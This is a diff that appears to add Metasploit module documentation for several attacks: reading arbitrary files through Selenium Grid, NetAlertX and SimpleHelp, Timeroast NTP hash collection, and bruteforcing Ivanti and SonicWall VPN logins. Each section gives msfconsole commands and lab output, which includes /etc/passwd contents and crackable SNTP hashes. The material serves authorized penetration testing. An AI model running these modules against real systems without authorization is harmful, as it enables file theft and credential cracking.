daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
|
||||
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
|
||||
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (363b104ba9d167f434518d3eb1add0c6).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Deleted session (363b104ba9d167f434518d3eb1add0c6).
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4454 BROWSER=MicrosoftEdge
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (80c4ac70d41d4ffc5585e750c94d9ac5).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Deleted session (80c4ac70d41d4ffc5585e750c94d9ac5).
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
## Vulnerable Application
|
||||
|
||||
|
||||
An attacker can read any file through log functionality with no authentication.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* v24.7.18 <= NetAlertX <= v24.9.12
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull jokobsk/netalertx:24.9.12`
|
||||
|
||||
2. docker run
|
||||
```bash
|
||||
docker run --rm --network=host \
|
||||
-v /tmp/netalertx:/app/config \
|
||||
-v /tmp/netalertx:/app/db \
|
||||
-e TZ=Europe/Berlin \
|
||||
-e PORT=20211 \
|
||||
jokobsk/netalertx:24.9.12
|
||||
```
|
||||
|
||||
### Verification
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/scanner/http/netalertx_file_read`
|
||||
4. Do: `run rhost=<rhost>`
|
||||
5. You should get the contents of the specified file.
|
||||
|
||||
## Options
|
||||
|
||||
- `RHOSTS`: target host
|
||||
- `RPORT`: target port, default 20211
|
||||
- `FILEPATH`: path to the required file
|
||||
- `DEPTH`: number of `../` to be prepended to `FILEPATH`
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/scanner/http/netalertx_file_read
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > show options
|
||||
|
||||
Module options (auxiliary/scanner/http/netalertx_file_read):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DEPTH 5 yes Traversal Depth (to reach the root folder)
|
||||
FILEPATH /etc/passwd yes The path to the file to read
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
|
||||
tml
|
||||
RPORT 20211 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) > run
|
||||
[*] Received data:
|
||||
[*] root:x:0:0:root:/root:/bin/sh
|
||||
bin:x:1:1:bin:/bin:/sbin/nologin
|
||||
daemon:x:2:2:daemon:/sbin:/sbin/nologin
|
||||
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
|
||||
sync:x:5:0:sync:/sbin:/bin/sync
|
||||
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
|
||||
halt:x:7:0:halt:/sbin:/sbin/halt
|
||||
mail:x:8:12:mail:/var/mail:/sbin/nologin
|
||||
news:x:9:13:news:/usr/lib/news:/sbin/nologin
|
||||
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
|
||||
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
|
||||
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
|
||||
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
|
||||
games:x:35:35:games:/usr/games:/sbin/nologin
|
||||
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
|
||||
guest:x:405:100:guest:/dev/null:/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/:/sbin/nologin
|
||||
catchlog:x:100:101:catchlog:/:/sbin/nologin
|
||||
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
|
||||
|
||||
[*] Stored results in netalert_result.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/netalertx_file_read) >
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
## Vulnerable Application
|
||||
There exists a path traversal vulnerability in the /toolbox-resource endpoint of SimpleHelp that enables unauthenticated
|
||||
remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests
|
||||
|
||||
### Setup
|
||||
|
||||
On Ubuntu 22.04 download a vulnerable version of SimpleHelp, for this demo we will use 5.5.7:
|
||||
`wget https://simple-help.com/releases/5.5.7/SimpleHelp-linux-amd64.tar.gz`
|
||||
|
||||
Unzip the application:
|
||||
```
|
||||
cd /opt
|
||||
tar -xvf SimpleHelp-linux-amd64.tar.gz
|
||||
```
|
||||
|
||||
Start the server:
|
||||
```
|
||||
cd SimpleHelp
|
||||
sudo sh serverstart.sh
|
||||
```
|
||||
|
||||
Navigate to the Web App GUI at: `http://127.0.0.1` (by default the application should be listening on all interfaces).
|
||||
You should see "Welcome to your new SimpleHelp Server".
|
||||
Select "Start New Server". The application should now be vulnerable to the path traversal.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use simplehelp_toolbox_path_traversal`
|
||||
1. Set the `RHOST`
|
||||
1. Run the module
|
||||
1. Receive the file `serverconfig.xml` from the SimpleHelp
|
||||
|
||||
## Scenarios
|
||||
### SimpleHelp 5.5.7 running on Ubuntu 22.04
|
||||
```
|
||||
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/scanner/http/simplehelp_toolbox_path_traversal 2025-01-12 normal No Simple Help Path Traversal Vulnerability
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/simplehelp_toolbox_path_traversal
|
||||
|
||||
[*] Using auxiliary/scanner/http/simplehelp_toolbox_path_traversal
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
|
||||
[*] Reloading module...
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 5.5.7
|
||||
[+] Downloaded 5233 bytes
|
||||
[+] File saved in: /Users/jheysel/.msf4/loot/20250220163655_default_172.16.199.130_simplehelp.trave_035651.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### SimpleHelp 5.5.7 running on Windows 11
|
||||
```
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131
|
||||
rhosts => 172.16.199.131
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini
|
||||
filepath => windows/system.ini
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4
|
||||
depth => 4
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version detected: 5.5.7
|
||||
[+] Downloaded 219 bytes
|
||||
[+] File saved in: /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
[*] exec: cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
|
||||
|
||||
; for 16-bit app support
|
||||
[386Enh]
|
||||
woafont=dosapp.fon
|
||||
EGA80WOA.FON=EGA80WOA.FON
|
||||
EGA40WOA.FON=EGA40WOA.FON
|
||||
CGA80WOA.FON=CGA80WOA.FON
|
||||
CGA40WOA.FON=CGA40WOA.FON
|
||||
|
||||
[drivers]
|
||||
wave=mmdrv.dll
|
||||
timer=timer.drv
|
||||
|
||||
[mci]
|
||||
```
|
||||
@@ -0,0 +1,19 @@
|
||||
## Description
|
||||
|
||||
The module performs bruteforce attack against Ivanti Connect Secure.
|
||||
It allows to attack both regular user and admin as well - you can select which type of account to attack with `ADMIN` parameter.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- [Ivanti](https://www.ivanti.com/products/connect-secure-vpn)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/ivanti/login_scanner`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
5. `set ADMIN [attack admin?]`
|
||||
6. `run`
|
||||
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
## Vulnerable Application
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Use the supplied Dockerfile to start a vulnerable instance of the application
|
||||
1. Build it with: `docker build -t ntpd:4.2.8p3 .`
|
||||
1. Run it with: `docker run --rm -it --name ntp-server -p 123:123/udp ntpd:4.2.8p3`
|
||||
1. Start `msfconsole` and use the module
|
||||
1. Set the `RHOSTS` value as necessary
|
||||
1. Run the module and see that the target is vulnerable
|
||||
|
||||
### Dockerfile
|
||||
Use this as `ntp.conf`:
|
||||
|
||||
```
|
||||
# Basic NTP configuration
|
||||
server 0.pool.ntp.org iburst
|
||||
server 1.pool.ntp.org iburst
|
||||
server 2.pool.ntp.org iburst
|
||||
server 3.pool.ntp.org iburst
|
||||
|
||||
driftfile /var/lib/ntp/ntp.drift
|
||||
|
||||
# Enable authentication for secure associations
|
||||
enable auth
|
||||
|
||||
# Define trusted keys
|
||||
trustedkey 1
|
||||
|
||||
# Open restrictions for all clients on the local network (example: 192.168.0.0/16)
|
||||
restrict default kod nomodify notrap
|
||||
restrict 127.0.0.1
|
||||
restrict ::1
|
||||
restrict 192.168.0.0 mask 255.255.0.0 autokey
|
||||
|
||||
# Uncomment to allow all clients (use cautiously)
|
||||
# restrict default kod nomodify notrap
|
||||
```
|
||||
|
||||
Use this as `Dockerfile`:
|
||||
|
||||
```
|
||||
ARG version=4.2.8p3
|
||||
FROM ubuntu:16.04
|
||||
ARG version
|
||||
|
||||
# Install dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
wget \
|
||||
build-essential \
|
||||
libcap-dev \
|
||||
libssl-dev && \
|
||||
apt-get clean
|
||||
|
||||
# Download and build NTPD
|
||||
WORKDIR /tmp
|
||||
RUN wget https://web.archive.org/web/20240608062853/https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-$version.tar.gz && \
|
||||
tar -xzf ntp-$version.tar.gz && \
|
||||
cd ntp-$version && \
|
||||
./configure --prefix=/usr/local --enable-linuxcaps && \
|
||||
make && \
|
||||
make install && \
|
||||
cd .. && \
|
||||
rm -rf ntp-$version*
|
||||
|
||||
# Add configuration file
|
||||
COPY ntp.conf /etc/ntp.conf
|
||||
|
||||
# Expose NTP port (123)
|
||||
EXPOSE 123/udp
|
||||
|
||||
# Run ntpd
|
||||
ENTRYPOINT ["/usr/local/bin/ntpd"]
|
||||
CMD ["-g", "-d", "-d"]
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 NTPd 4.2.8p3
|
||||
|
||||
```
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > set RHOSTS 192.168.159.128, 192.168.159.10
|
||||
RHOSTS => 192.168.159.128, 192.168.159.10
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) > run
|
||||
[+] 192.168.159.128:123 - NTP - VULNERABLE: Accepted a NTP symmetric active association
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 1 of 2 hosts (50% complete)
|
||||
[*] Scanned 2 of 2 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
metasploit-framework (S:0 J:0) auxiliary(scanner/ntp/ntp_nak_to_the_future) >
|
||||
```
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
|
||||
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
|
||||
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
|
||||
because RIDs are sequential, they can easily be enumerated.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Setup a Windows domain controller target
|
||||
1. Start msfconsole
|
||||
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action
|
||||
1. Note the RID (the last part of the SID) and password of the new account
|
||||
1. Use the `auxiliary/scanner/ntp/timeroast` module
|
||||
1. Set the `RHOSTS` option to the target domain controller
|
||||
1. Set the `RIDS` option to the RID of the new account
|
||||
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a
|
||||
database is connected
|
||||
|
||||
## Options
|
||||
|
||||
### RIDS
|
||||
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2019 x64 Domain Controller
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205
|
||||
RIDS => 4200-4205
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(scanner/ntp/timeroast) > run
|
||||
[*] Checking RID: 4200
|
||||
[*] Checking RID: 4201
|
||||
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010
|
||||
[*] Checking RID: 4202
|
||||
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0
|
||||
[*] Checking RID: 4203
|
||||
[*] Checking RID: 4204
|
||||
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c
|
||||
[*] Checking RID: 4205
|
||||
[*] Waiting on 3 pending responses...
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/ntp/timeroast) >
|
||||
```
|
||||
@@ -0,0 +1,19 @@
|
||||
## Description
|
||||
|
||||
The module performs bruteforce attack against SonicWall NSv (Network Security Virtual).
|
||||
It allows to attack both regular SSLVPN user and admin as well. The module will automatically perform attack against SSLVPN user if `DOMAIN` parameter is not empty.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
